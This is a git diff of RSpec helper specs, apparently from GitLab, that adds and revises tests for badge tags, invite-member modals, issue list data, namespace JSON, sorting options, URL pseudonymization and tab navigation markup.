diff --git a/spec/helpers/badges_helper_spec.rb b/spec/helpers/badges_helper_spec.rb
new file mode 100644
index 00000000000..5be3b4a737b
--- /dev/null
+++ b/spec/helpers/badges_helper_spec.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BadgesHelper do
+ let(:label) { "Test" }
+
+ describe '#gl_badge_tag' do
+ it 'creates a badge with given text' do
+ expect(helper.gl_badge_tag(label)).to match(%r{<span .*>Test</span>})
+ end
+
+ describe 'block content' do
+ it 'renders block content' do
+ expect(helper.gl_badge_tag { label }).to match(%r{<span .*>Test</span>})
+ end
+
+ it 'changes the function signature' do
+ options = { variant: :danger }
+ html_options = { class: 'foo-bar' }
+
+ tag = helper.gl_badge_tag(label, options, html_options)
+ tag_with_block = helper.gl_badge_tag options, html_options do
+ label
+ end
+
+ expect(tag).to eql(tag_with_block)
+ end
+ end
+
+ it 'adds style classes' do
+ expect(helper.gl_badge_tag(label)).to match(%r{class="gl-badge badge badge-pill badge-muted md"})
+ end
+
+ it 'adds custom classes' do
+ expect(helper.gl_badge_tag(label, nil, class: "test-class" )).to match(%r{class=".*test-class.*"})
+ end
+
+ describe 'variants' do
+ where(:variant) do
+ [
+ [:muted],
+ [:neutral],
+ [:info],
+ [:success],
+ [:warning],
+ [:danger]
+ ]
+ end
+
+ with_them do
+ it 'sets the variant class' do
+ expected_class = "badge-#{variant}"
+ expect(helper.gl_badge_tag(label, variant: variant)).to match(%r{class=".*#{expected_class}.*"})
+ end
+ end
+
+ it 'defaults to muted' do
+ expect(helper.gl_badge_tag(label)).to match(%r{class=".*badge-muted.*"})
+ end
+
+ it 'falls back to default given an unknown variant' do
+ expect(helper.gl_badge_tag(label, variant: :foo)).to match(%r{class=".*badge-muted.*"})
+ end
+ end
+
+ describe 'sizes' do
+ where(:size) do
+ [[:sm], [:md], [:lg]]
+ end
+
+ with_them do
+ it 'sets the size class' do
+ expect(helper.gl_badge_tag(label, size: size)).to match(%r{class=".*#{size}.*"})
+ end
+ end
+
+ it 'defaults to md' do
+ expect(helper.gl_badge_tag(label)).to match(%r{class=".*md.*"})
+ end
+
+ it 'falls back to default given an unknown size' do
+ expect(helper.gl_badge_tag(label, size: :foo)).to match(%r{class=".*md.*"})
+ end
+ end
+
+ it 'applies custom html attributes' do
+ expect(helper.gl_badge_tag(label, nil, data: { foo: "bar" })).to match(%r{<span .*data-foo="bar".*>})
+ end
+
+ describe 'icons' do
+ let(:spacing_class_regex) { %r{<svg .*class=".*gl-mr-2.*".*>.*</svg>} }
+
+ describe 'with text' do
+ subject { helper.gl_badge_tag(label, icon: "question-o") }
+
+ it 'renders an icon' do
+ expect(subject).to match(%r{<svg .*#question-o".*>.*</svg>})
+ end
+
+ it 'adds a spacing class to the icon' do
+ expect(subject).to match(spacing_class_regex)
+ end
+ end
+
+ describe 'icon only' do
+ subject { helper.gl_badge_tag(label, icon: 'question-o', icon_only: true) }
+
+ it 'adds an img role to element' do
+ expect(subject).to match(%r{<span .*role="img".*>})
+ end
+
+ it 'adds aria-label to element' do
+ expect(subject).to match(%r{<span .*aria-label="#{label}".*>})
+ end
+
+ it 'does not add a spacing class to the icon' do
+ expect(subject).not_to match(spacing_class_regex)
+ end
+ end
+ end
+
+ describe 'given an href' do
+ it 'creates a badge link' do
+ expect(helper.gl_badge_tag(label, nil, href: 'foo')).to match(%r{<a .*href="foo".*>})
+ end
+ end
+ end
+end
diff --git a/spec/helpers/ci/jobs_helper_spec.rb b/spec/helpers/ci/jobs_helper_spec.rb
new file mode 100644
index 00000000000..e5ef362e91b
--- /dev/null
+++ b/spec/helpers/ci/jobs_helper_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobsHelper do
+ describe 'jobs data' do
+ let(:project) { create(:project, :repository) }
+ let(:bridge) { create(:ci_bridge, status: :pending) }
+
+ subject(:bridge_data) { helper.bridge_data(bridge) }
+
+ before do
+ allow(helper)
+ .to receive(:image_path)
+ .and_return('/path/to/illustration')
+ end
+
+ it 'returns bridge data' do
+ expect(bridge_data).to eq({
+ "build_name" => bridge.name,
+ "empty-state-illustration-path" => '/path/to/illustration'
+ })
+ end
+ end
+end
diff --git a/spec/helpers/ide_helper_spec.rb b/spec/helpers/ide_helper_spec.rb
index 503ad3ad66d..dc0a234f981 100644
--- a/spec/helpers/ide_helper_spec.rb
+++ b/spec/helpers/ide_helper_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe IdeHelper do
self.instance_variable_set(:@fork_info, fork_info)
self.instance_variable_set(:@project, project)
- serialized_project = API::Entities::Project.represent(project).to_json
+ serialized_project = API::Entities::Project.represent(project, current_user: project.creator).to_json
expect(helper.ide_data)
.to include(
@@ -61,7 +61,7 @@ RSpec.describe IdeHelper do
context 'and the callout has been dismissed' do
it 'disables environment guidance' do
- callout = create(:user_callout, feature_name: :web_ide_ci_environments_guidance, user: project.creator)
+ callout = create(:callout, feature_name: :web_ide_ci_environments_guidance, user: project.creator)
callout.update!(dismissed_at: Time.now - 1.week)
allow(helper).to receive(:current_user).and_return(User.find(project.creator.id))
expect(helper.ide_data).to include('enable-environments-guidance' => 'false')
diff --git a/spec/helpers/invite_members_helper_spec.rb b/spec/helpers/invite_members_helper_spec.rb
index 02f0416a17a..d8a97b93bc9 100644
--- a/spec/helpers/invite_members_helper_spec.rb
+++ b/spec/helpers/invite_members_helper_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe InviteMembersHelper do
include Devise::Test::ControllerHelpers
let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group, projects: [project]) }
let_it_be(:developer) { create(:user, developer_projects: [project]) }
let(:owner) { project.owner }
@@ -15,97 +16,24 @@ RSpec.describe InviteMembersHelper do
end
describe '#common_invite_modal_dataset' do
- context 'when member_areas_of_focus is enabled', :experiment do
- context 'with control experience' do
- before do
- stub_experiments(member_areas_of_focus: :control)
- end
-
- it 'has expected attributes' do
- attributes = {
- areas_of_focus_options: [],
- no_selection_areas_of_focus: []
- }
-
- expect(helper.common_invite_modal_dataset(project)).to include(attributes)
- end
- end
-
- context 'with candidate experience' do
- before do
- stub_experiments(member_areas_of_focus: :candidate)
- end
-
- it 'has expected attributes', :aggregate_failures do
- output = helper.common_invite_modal_dataset(project)
-
- expect(output[:no_selection_areas_of_focus]).to eq ['no_selection']
- expect(Gitlab::Json.parse(output[:areas_of_focus_options]).first['value']).to eq 'Contribute to the codebase'
- end
- end
- end
-
- context 'when member_areas_of_focus is disabled' do
- before do
- stub_feature_flags(member_areas_of_focus: false)
- end
-
- it 'has expected attributes' do
- attributes = {
- id: project.id,
- name: project.name,
- default_access_level: Gitlab::Access::GUEST,
- areas_of_focus_options: [],
- no_selection_areas_of_focus: []
- }
-
- expect(helper.common_invite_modal_dataset(project)).to include(attributes)
- end
+ it 'has expected common attributes' do
+ attributes = {
+ id: project.id,
+ name: project.name,
+ default_access_level: Gitlab::Access::GUEST
+ }
+
+ expect(helper.common_invite_modal_dataset(project)).to include(attributes)
end
context 'tasks_to_be_done' do
- subject(:output) { helper.common_invite_modal_dataset(source) }
-
- let_it_be(:source) { project }
-
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
- context 'when not logged in' do
- before do
- allow(helper).to receive(:params).and_return({ open_modal: 'invite_members_for_task' })
- end
-
- it "doesn't have the tasks to be done attributes" do
- expect(output[:tasks_to_be_done_options]).to be_nil
- expect(output[:projects]).to be_nil
- expect(output[:new_project_path]).to be_nil
- end
- end
+ using RSpec::Parameterized::TableSyntax
- context 'when logged in but the open_modal param is not present' do
- before do
- allow(helper).to receive(:current_user).and_return(developer)
- end
-
- it "doesn't have the tasks to be done attributes" do
- expect(output[:tasks_to_be_done_options]).to be_nil
- expect(output[:projects]).to be_nil
- expect(output[:new_project_path]).to be_nil
- end
- end
-
- context 'when logged in and the open_modal param is present' do
- before do
- allow(helper).to receive(:current_user).and_return(developer)
- allow(helper).to receive(:params).and_return({ open_modal: 'invite_members_for_task' })
- end
-
- context 'for a group' do
- let_it_be(:source) { create(:group, projects: [project]) }
+ subject(:output) { helper.common_invite_modal_dataset(source) }
- it 'has the expected attributes', :aggregate_failures do
+ shared_examples_for 'including the tasks to be done attributes' do
+ it 'includes the tasks to be done attributes when expected' do
+ if expected?
expect(output[:tasks_to_be_done_options]).to eq(
[
{ value: :code, text: 'Create/import code into a project (repository)' },
@@ -117,24 +45,70 @@ RSpec.describe InviteMembersHelper do
[{ id: project.id, title: project.title }].to_json
)
expect(output[:new_project_path]).to eq(
- new_project_path(namespace_id: source.id)
+ source.is_a?(Project) ? '' : new_project_path(namespace_id: group.id)
)
+ else
+ expect(output[:tasks_to_be_done_options]).to be_nil
+ expect(output[:projects]).to be_nil
+ expect(output[:new_project_path]).to be_nil
end
end
+ end
- context 'for a project' do
- it 'has the expected attributes', :aggregate_failures do
- expect(output[:tasks_to_be_done_options]).to eq(
- [
- { value: :code, text: 'Create/import code into a project (repository)' },
- { value: :ci, text: 'Set up CI/CD pipelines to build, test, deploy, and monitor code' },
- { value: :issues, text: 'Create/import issues (tickets) to collaborate on ideas and plan work' }
- ].to_json
- )
- expect(output[:projects]).to eq(
- [{ id: project.id, title: project.title }].to_json
- )
- expect(output[:new_project_path]).to eq('')
+ context 'inviting members for tasks' do
+ where(:open_modal_param_present?, :logged_in?, :expected?) do
+ true | true | true
+ true | false | false
+ false | true | false
+ false | false | false
+ end
+
+ with_them do
+ before do
+ allow(helper).to receive(:current_user).and_return(developer) if logged_in?
+ allow(helper).to receive(:params).and_return({ open_modal: 'invite_members_for_task' }) if open_modal_param_present?
+ end
+
+ context 'when the source is a project' do
+ let_it_be(:source) { project }
+
+ it_behaves_like 'including the tasks to be done attributes'
+ end
+
+ context 'when the source is a group' do
+ let_it_be(:source) { group }
+
+ it_behaves_like 'including the tasks to be done attributes'
+ end
+ end
+ end
+
+ context 'the invite_for_help_continuous_onboarding experiment' do
+ where(:invite_for_help_continuous_onboarding?, :logged_in?, :expected?) do
+ true | true | true
+ true | false | false
+ false | true | false
+ false | false | false
+ end
+
+ with_them do
+ before do
+ allow(helper).to receive(:current_user).and_return(developer) if logged_in?
+ stub_experiments(invite_for_help_continuous_onboarding: :candidate) if invite_for_help_continuous_onboarding?
+ end
+
+ context 'when the source is a project' do
+ let_it_be(:source) { project }
+
+ it_behaves_like 'including the tasks to be done attributes'
+ end
+
+ context 'when the source is a group' do
+ let_it_be(:source) { group }
+
+ let(:expected?) { false }
+
+ it_behaves_like 'including the tasks to be done attributes'
end
end
end
diff --git a/spec/helpers/issues_helper_spec.rb b/spec/helpers/issues_helper_spec.rb
index 43b27dded3b..ad0ea6911f1 100644
--- a/spec/helpers/issues_helper_spec.rb
+++ b/spec/helpers/issues_helper_spec.rb
@@ -278,11 +278,13 @@ RSpec.describe IssuesHelper do
it 'returns expected result' do
expected = {
can_create_issue: 'true',
+ can_destroy_issue: 'true',
can_reopen_issue: 'true',
can_report_spam: 'false',
can_update_issue: 'true',
iid: issue.iid,
is_issue_author: 'false',
+ issue_path: issue_path(issue),
issue_type: 'issue',
new_issue_path: new_project_issue_path(project, { issue: { description: "Related to \##{issue.iid}.\n\n" } }),
project_path: project.full_path,
@@ -302,6 +304,7 @@ RSpec.describe IssuesHelper do
allow(helper).to receive(:can?).and_return(true)
allow(helper).to receive(:image_path).and_return('#')
allow(helper).to receive(:import_csv_namespace_project_issues_path).and_return('#')
+ allow(helper).to receive(:issue_repositioning_disabled?).and_return(true)
allow(helper).to receive(:url_for).and_return('#')
expected = {
@@ -318,6 +321,8 @@ RSpec.describe IssuesHelper do
has_any_issues: project_issues(project).exists?.to_s,
import_csv_issues_path: '#',
initial_email: project.new_issuable_address(current_user, 'issue'),
+ is_anonymous_search_disabled: 'true',
+ is_issue_repositioning_disabled: 'true',
is_project: 'true',
is_signed_in: current_user.present?.to_s,
jira_integration_path: help_page_url('integration/jira/issues', anchor: 'view-jira-issues'),
@@ -338,6 +343,10 @@ RSpec.describe IssuesHelper do
end
describe '#project_issues_list_data' do
+ before do
+ stub_feature_flags(disable_anonymous_search: true)
+ end
+
context 'when user is signed in' do
it_behaves_like 'issues list data' do
let(:current_user) { double.as_null_object }
diff --git a/spec/helpers/jira_connect_helper_spec.rb b/spec/helpers/jira_connect_helper_spec.rb
index 55a5c724665..0f78185dc7d 100644
--- a/spec/helpers/jira_connect_helper_spec.rb
+++ b/spec/helpers/jira_connect_helper_spec.rb
@@ -19,7 +19,9 @@ RSpec.describe JiraConnectHelper do
is_expected.to include(
:groups_path,
:subscriptions_path,
- :users_path
+ :users_path,
+ :subscriptions,
+ :gitlab_user_path
)
end
@@ -32,6 +34,10 @@ RSpec.describe JiraConnectHelper do
expect(subject[:groups_path]).to include("#{skip_groups_param}=#{subscription.namespace.id}")
end
+
+ it 'assigns gitlab_user_path to nil' do
+ expect(subject[:gitlab_user_path]).to be_nil
+ end
end
context 'user is logged in' do
@@ -42,6 +48,10 @@ RSpec.describe JiraConnectHelper do
it 'assigns users_path to nil' do
expect(subject[:users_path]).to be_nil
end
+
+ it 'assigns gitlab_user_path correctly' do
+ expect(subject[:gitlab_user_path]).to eq(user_path(user))
+ end
end
end
end
diff --git a/spec/helpers/learn_gitlab_helper_spec.rb b/spec/helpers/learn_gitlab_helper_spec.rb
index b9f34853a77..9d13fc65de7 100644
--- a/spec/helpers/learn_gitlab_helper_spec.rb
+++ b/spec/helpers/learn_gitlab_helper_spec.rb
@@ -60,6 +60,7 @@ RSpec.describe LearnGitlabHelper do
let(:onboarding_actions_data) { Gitlab::Json.parse(learn_gitlab_data[:actions]).deep_symbolize_keys }
let(:onboarding_sections_data) { Gitlab::Json.parse(learn_gitlab_data[:sections]).deep_symbolize_keys }
+ let(:onboarding_project_data) { Gitlab::Json.parse(learn_gitlab_data[:project]).deep_symbolize_keys }
shared_examples 'has all data' do
it 'has all actions' do
@@ -82,6 +83,11 @@ RSpec.describe LearnGitlabHelper do
expect(onboarding_sections_data.keys).to contain_exactly(:deploy, :plan, :workspace)
expect(onboarding_sections_data.values.map { |section| section.keys }).to match_array([[:svg]] * 3)
end
+
+ it 'has all project data', :aggregate_failures do
+ expect(onboarding_project_data.keys).to contain_exactly(:name)
+ expect(onboarding_project_data.values).to match_array([project.name])
+ end
end
it_behaves_like 'has all data'
diff --git a/spec/helpers/markup_helper_spec.rb b/spec/helpers/markup_helper_spec.rb
index e946857ac77..ab2f6fa5b7e 100644
--- a/spec/helpers/markup_helper_spec.rb
+++ b/spec/helpers/markup_helper_spec.rb
@@ -321,7 +321,7 @@ RSpec.describe MarkupHelper do
let(:context) do
{
pipeline: :wiki, project: project, wiki: wiki,
- page_slug: 'nested/page', issuable_state_filter_enabled: true,
+ page_slug: 'nested/page', issuable_reference_expansion_enabled: true,
repository: wiki_repository
}
end
@@ -584,9 +584,9 @@ FooBar
it 'preserves code color scheme' do
object = create_object("```ruby\ndef test\n 'hello world'\nend\n```")
- expected = "<pre class=\"code highlight js-syntax-highlight language-ruby\">" \
+ expected = "\n<pre class=\"code highlight js-syntax-highlight language-ruby\">" \
"<code><span class=\"line\"><span class=\"k\">def</span> <span class=\"nf\">test</span>...</span>\n" \
- "</code></pre>"
+ "</code></pre>\n"
expect(first_line_in_markdown(object, attribute, 150, project: project)).to eq(expected)
end
diff --git a/spec/helpers/namespaces_helper_spec.rb b/spec/helpers/namespaces_helper_spec.rb
index 68bc19cb429..6eb560e3f5c 100644
--- a/spec/helpers/namespaces_helper_spec.rb
+++ b/spec/helpers/namespaces_helper_spec.rb
@@ -45,6 +45,39 @@ RSpec.describe NamespacesHelper do
user_group.add_owner(user)
end
+ describe '#namespaces_as_json' do
+ let(:result) { helper.namespaces_as_json(user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ it 'returns the user\'s groups' do
+ json_data = Gitlab::Json.parse(result)
+
+ expect(result).to include('group')
+ expect(json_data['group']).to include(
+ "id" => user_group.id,
+ "name" => user_group.name,
+ "display_path" => user_group.full_path,
+ "human_name" => user_group.human_name
+ )
+ end
+
+ it 'returns the user\'s namespace' do
+ user_namespace = user.namespace
+ json_data = Gitlab::Json.parse(result)
+
+ expect(result).to include('user')
+ expect(json_data['user']).to include(
+ "id" => user_namespace.id,
+ "name" => user_namespace.name,
+ "display_path" => user_namespace.full_path,
+ "human_name" => user_namespace.human_name
+ )
+ end
+ end
+
describe '#namespaces_options' do
context 'when admin mode is enabled', :enable_admin_mode do
it 'returns groups without being a member for admin' do
diff --git a/spec/helpers/nav/new_dropdown_helper_spec.rb b/spec/helpers/nav/new_dropdown_helper_spec.rb
index 64f4d5ff797..ab206152e3d 100644
--- a/spec/helpers/nav/new_dropdown_helper_spec.rb
+++ b/spec/helpers/nav/new_dropdown_helper_spec.rb
@@ -13,8 +13,6 @@ RSpec.describe Nav::NewDropdownHelper do
let(:with_can_create_project) { false }
let(:with_can_create_group) { false }
let(:with_can_create_snippet) { false }
- let(:with_invite_members_experiment) { false }
- let(:with_invite_members_experiment_enabled) { false }
let(:subject) { helper.new_dropdown_view_model(project: current_project, group: current_group) }
@@ -28,11 +26,6 @@ RSpec.describe Nav::NewDropdownHelper do
end
before do
- allow(::Gitlab::Experimentation).to receive(:active?).with(:invite_members_new_dropdown) { with_invite_members_experiment }
- allow(helper).to receive(:experiment_enabled?).with(:invite_members_new_dropdown) { with_invite_members_experiment_enabled }
- allow(helper).to receive(:tracking_label) { 'test_tracking_label' }
- allow(helper).to receive(:experiment_tracking_category_and_group) { |x| x }
-
allow(helper).to receive(:current_user) { current_user }
allow(helper).to receive(:can?) { false }
@@ -42,38 +35,23 @@ RSpec.describe Nav::NewDropdownHelper do
end
shared_examples 'invite member link shared example' do
- it 'shows invite member link' do
+ it 'shows invite member link with emoji' do
expect(subject[:menu_sections]).to eq(
expected_menu_section(
title: expected_title,
menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
id: 'invite',
title: 'Invite members',
+ emoji: 'shaking_hands',
href: expected_href,
data: {
- track_action: 'click_link',
- track_label: 'test_tracking_label',
- track_property: :invite_members_new_dropdown
+ track_action: 'click_link_invite_members',
+ track_label: 'plus_menu_dropdown'
}
)
)
)
end
-
- context 'with experiment enabled' do
- let(:with_invite_members_experiment_enabled) { true }
-
- it 'shows emoji with invite member link' do
- expect(subject[:menu_sections]).to match(
- expected_menu_section(
- title: expected_title,
- menu_item: a_hash_including(
- emoji: 'shaking_hands'
- )
- )
- )
- end
- end
end
it 'has title' do
diff --git a/spec/helpers/notify_helper_spec.rb b/spec/helpers/notify_helper_spec.rb
index a4193444528..e2a7a212b1b 100644
--- a/spec/helpers/notify_helper_spec.rb
+++ b/spec/helpers/notify_helper_spec.rb
@@ -55,53 +55,4 @@ RSpec.describe NotifyHelper do
def reference_link(entity, url)
"<a href=\"#{url}\">#{entity.to_reference}</a>"
end
-
- describe '#invited_join_url' do
- let_it_be(:member) { create(:project_member) }
-
- let(:token) { '_token_' }
-
- context 'when invite_email_preview_text is enabled', :experiment do
- before do
- stub_experiments(invite_email_preview_text: :control)
- end
-
- it 'has correct params' do
- expect(helper.invited_join_url(token, member))
- .to eq("http://test.host/-/invites/#{token}?experiment_name=invite_email_preview_text&invite_type=initial_email")
- end
-
- context 'when invite_email_from is enabled' do
- before do
- stub_experiments(invite_email_from: :control)
- end
-
- it 'has correct params' do
- expect(helper.invited_join_url(token, member))
- .to eq("http://test.host/-/invites/#{token}?experiment_name=invite_email_from&invite_type=initial_email")
- end
- end
- end
-
- context 'when invite_email_from is enabled' do
- before do
- stub_experiments(invite_email_from: :control)
- end
-
- it 'has correct params' do
- expect(helper.invited_join_url(token, member))
- .to eq("http://test.host/-/invites/#{token}?experiment_name=invite_email_from&invite_type=initial_email")
- end
- end
-
- context 'when invite_email_preview_text is disabled' do
- before do
- stub_feature_flags(invite_email_preview_text: false)
- end
-
- it 'has correct params' do
- expect(helper.invited_join_url(token, member)).to eq("http://test.host/-/invites/#{token}?invite_type=initial_email")
- end
- end
- end
end
diff --git a/spec/helpers/numbers_helper_spec.rb b/spec/helpers/numbers_helper_spec.rb
new file mode 100644
index 00000000000..a546f625ce8
--- /dev/null
+++ b/spec/helpers/numbers_helper_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe NumbersHelper do
+ describe '#limited_counter_with_delimiter' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { limited_counter_with_delimiter(resource, **options) }
+
+ where(:count, :options, :expected_result) do
+ # Using explicit limit
+ 9 | { limit: 10 } | '9'
+ 10 | { limit: 10 } | '10'
+ 11 | { limit: 10 } | '10+'
+ 12 | { limit: 10 } | '10+'
+ # Using default limit
+ 999 | {} | '999'
+ 1000 | {} | '1,000'
+ 1001 | {} | '1,000+'
+ 1002 | {} | '1,000+'
+ end
+
+ with_them do
+ let(:page) { double('page', total_count_with_limit: [count, options.fetch(:limit, 1000) + 1].min) }
+ let(:resource) { class_double(Ci::Runner, page: page) }
+
+ it { is_expected.to eq(expected_result) }
+ end
+ end
+end
diff --git a/spec/helpers/packages_helper_spec.rb b/spec/helpers/packages_helper_spec.rb
index 2af572850da..06c6cccd488 100644
--- a/spec/helpers/packages_helper_spec.rb
+++ b/spec/helpers/packages_helper_spec.rb
@@ -260,34 +260,4 @@ RSpec.describe PackagesHelper do
end
end
end
-
- describe '#packages_list_data' do
- let_it_be(:resource) { project }
- let_it_be(:type) { 'project' }
-
- let(:expected_result) do
- {
- resource_id: resource.id,
- full_path: resource.full_path,
- page_type: type
- }
- end
-
- subject(:result) { helper.packages_list_data(type, resource) }
-
- context 'at a project level' do
- it 'populates presenter data' do
- expect(result).to match(hash_including(expected_result))
- end
- end
-
- context 'at a group level' do
- let_it_be(:resource) { create(:group) }
- let_it_be(:type) { 'group' }
-
- it 'populates presenter data' do
- expect(result).to match(hash_including(expected_result))
- end
- end
- end
end
diff --git a/spec/helpers/projects_helper_spec.rb b/spec/helpers/projects_helper_spec.rb
index 5d2af567549..cc443afee6e 100644
--- a/spec/helpers/projects_helper_spec.rb
+++ b/spec/helpers/projects_helper_spec.rb
@@ -991,4 +991,31 @@ RSpec.describe ProjectsHelper do
expect(subject).to eq(project.path_with_namespace)
end
end
+
+ describe '#fork_button_disabled_tooltip' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { helper.fork_button_disabled_tooltip(project) }
+
+ where(:has_user, :can_fork_project, :can_create_fork, :expected) do
+ false | false | false | nil
+ true | true | true | nil
+ true | false | true | 'You don\'t have permission to fork this project'
+ true | true | false | 'You have reached your project limit'
+ end
+
+ with_them do
+ before do
+ current_user = user if has_user
+
+ allow(helper).to receive(:current_user).and_return(current_user)
+ allow(user).to receive(:can?).with(:fork_project, project).and_return(can_fork_project)
+ allow(user).to receive(:can?).with(:create_fork).and_return(can_create_fork)
+ end
+
+ it 'returns tooltip text when user lacks privilege' do
+ expect(subject).to eq(expected)
+ end
+ end
+ end
end
diff --git a/spec/helpers/routing/pseudonymization_helper_spec.rb b/spec/helpers/routing/pseudonymization_helper_spec.rb
index 82ed893289d..d7905edb098 100644
--- a/spec/helpers/routing/pseudonymization_helper_spec.rb
+++ b/spec/helpers/routing/pseudonymization_helper_spec.rb
@@ -11,15 +11,15 @@ RSpec.describe ::Routing::PseudonymizationHelper do
let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:subject) { helper.masked_page_url(group: group, project: project) }
+
before do
stub_feature_flags(mask_page_urls: true)
- allow(helper).to receive(:group).and_return(group)
- allow(helper).to receive(:project).and_return(project)
end
shared_examples 'masked url' do
it 'generates masked page url' do
- expect(helper.masked_page_url).to eq(masked_url)
+ expect(subject).to eq(masked_url)
end
end
@@ -72,6 +72,8 @@ RSpec.describe ::Routing::PseudonymizationHelper do
context 'with controller for groups with subgroups and project' do
let(:masked_url) { "http://localhost/namespace#{subgroup.id}/project#{subproject.id}"}
+ let(:group) { subgroup }
+ let(:project) { subproject }
let(:request) do
double(:Request,
path_parameters: {
@@ -86,8 +88,6 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
before do
- allow(helper).to receive(:group).and_return(subgroup)
- allow(helper).to receive(:project).and_return(subproject)
allow(helper).to receive(:request).and_return(request)
end
@@ -96,6 +96,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
context 'with controller for groups and subgroups' do
let(:masked_url) { "http://localhost/groups/namespace#{subgroup.id}/-/shared"}
+ let(:group) { subgroup }
let(:request) do
double(:Request,
path_parameters: {
@@ -109,7 +110,6 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
before do
- allow(helper).to receive(:group).and_return(subgroup)
allow(helper).to receive(:request).and_return(request)
end
@@ -160,7 +160,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
context 'when author_username is present' do
- let(:masked_url) { "http://localhost/dashboard/issues?author_username=masked_author_username&scope=masked_scope&state=masked_state" }
+ let(:masked_url) { "http://localhost/dashboard/issues?author_username=masked_author_username&scope=all&state=opened" }
let(:request) do
double(:Request,
path_parameters: {
@@ -201,7 +201,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
context 'when query string has keys with the same names as path params' do
- let(:masked_url) { "http://localhost/dashboard/issues?action=masked_action&scope=masked_scope&state=masked_state" }
+ let(:masked_url) { "http://localhost/dashboard/issues?action=masked_action&scope=all&state=opened" }
let(:request) do
double(:Request,
path_parameters: {
@@ -230,7 +230,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
it 'masked_page_url' do
- expect(helper.masked_page_url).to eq(root_url)
+ expect(subject).to eq(root_url)
end
end
end
@@ -262,7 +262,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
ActionController::RoutingError,
url: '/dashboard/issues?assignee_username=root').and_call_original
- expect(helper.masked_page_url).to be_nil
+ expect(subject).to be_nil
end
end
end
@@ -273,7 +273,7 @@ RSpec.describe ::Routing::PseudonymizationHelper do
end
it 'returns nil' do
- expect(helper.masked_page_url).to be_nil
+ expect(subject).to be_nil
end
end
end
diff --git a/spec/helpers/sorting_helper_spec.rb b/spec/helpers/sorting_helper_spec.rb
index f976fb098a8..b49b4ad6e7e 100644
--- a/spec/helpers/sorting_helper_spec.rb
+++ b/spec/helpers/sorting_helper_spec.rb
@@ -191,4 +191,77 @@ RSpec.describe SortingHelper do
end
end
end
+
+ describe 'with `forks` controller' do
+ before do
+ stub_controller_path 'forks'
+ end
+
+ describe '#forks_sort_options_hash' do
+ it 'returns a hash of available sorting options' do
+ expect(forks_sort_options_hash).to include({
+ sort_value_recently_created => sort_title_created_date,
+ sort_value_oldest_created => sort_title_created_date,
+ sort_value_latest_activity => sort_title_latest_activity,
+ sort_value_oldest_activity => sort_title_latest_activity
+ })
+ end
+ end
+
+ describe '#forks_reverse_sort_options_hash' do
+ context 'for each sort option' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:sort_key, :reverse_sort_title) do
+ sort_value_recently_created | sort_value_oldest_created
+ sort_value_oldest_created | sort_value_recently_created
+ sort_value_latest_activity | sort_value_oldest_activity
+ sort_value_oldest_activity | sort_value_latest_activity
+ end
+
+ with_them do
+ it 'returns the correct reversed hash' do
+ reverse_hash = forks_reverse_sort_options_hash
+
+ expect(reverse_hash).to include(sort_key)
+ expect(reverse_hash[sort_key]).to eq(reverse_sort_title)
+ end
+ end
+ end
+ end
+
+ describe '#forks_sort_direction_button' do
+ context 'for each sort option' do
+ using RSpec::Parameterized::TableSyntax
+
+ sort_lowest_icon = 'sort-lowest'
+ sort_highest_icon = 'sort-highest'
+
+ where(:selected_sort, :icon) do
+ sort_value_recently_created | sort_highest_icon
+ sort_value_latest_activity | sort_highest_icon
+ sort_value_oldest_created | sort_lowest_icon
+ sort_value_oldest_activity | sort_lowest_icon
+ end
+
+ with_them do
+ it 'returns the correct icon' do
+ set_sorting_url selected_sort
+
+ expect(forks_sort_direction_button(selected_sort)).to include(icon)
+ end
+ end
+ end
+
+ it 'returns the correct link to reverse the current sort option' do
+ sort_options_links = forks_reverse_sort_options_hash
+
+ sort_options_links.each do |selected_sort, reverse_sort|
+ set_sorting_url selected_sort
+
+ expect(forks_sort_direction_button(selected_sort)).to include(reverse_sort)
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/tab_helper_spec.rb b/spec/helpers/tab_helper_spec.rb
index e5e88466946..f338eddedfd 100644
--- a/spec/helpers/tab_helper_spec.rb
+++ b/spec/helpers/tab_helper_spec.rb
@@ -7,62 +7,58 @@ RSpec.describe TabHelper do
describe 'gl_tabs_nav' do
it 'creates a tabs navigation' do
- expect(gl_tabs_nav).to match(%r{<ul class=".*" role="tablist"><\/ul>})
+ expect(helper.gl_tabs_nav).to match(%r{<ul class="nav gl-tabs-nav"><\/ul>})
end
it 'captures block output' do
- expect(gl_tabs_nav { "block content" }).to match(/block content/)
- end
-
- it 'adds styles classes' do
- expect(gl_tabs_nav).to match(/class="nav gl-tabs-nav"/)
+ expect(helper.gl_tabs_nav { "block content" }).to match(/block content/)
end
it 'adds custom class' do
- expect(gl_tabs_nav(class: 'my-class' )).to match(/class=".*my-class.*"/)
+ expect(helper.gl_tabs_nav(class: 'my-class' )).to match(/class=".*my-class.*"/)
end
end
describe 'gl_tab_link_to' do
before do
- allow(self).to receive(:current_page?).and_return(false)
+ allow(helper).to receive(:current_page?).and_return(false)
end
it 'creates a tab' do
- expect(gl_tab_link_to('Link', '/url')).to eq('<li class="nav-item" role="presentation"><a class="nav-link gl-tab-nav-item" href="/url">Link</a></li>')
+ expect(helper.gl_tab_link_to('Link', '/url')).to eq('<li class="nav-item"><a class="nav-link gl-tab-nav-item" href="/url">Link</a></li>')
end
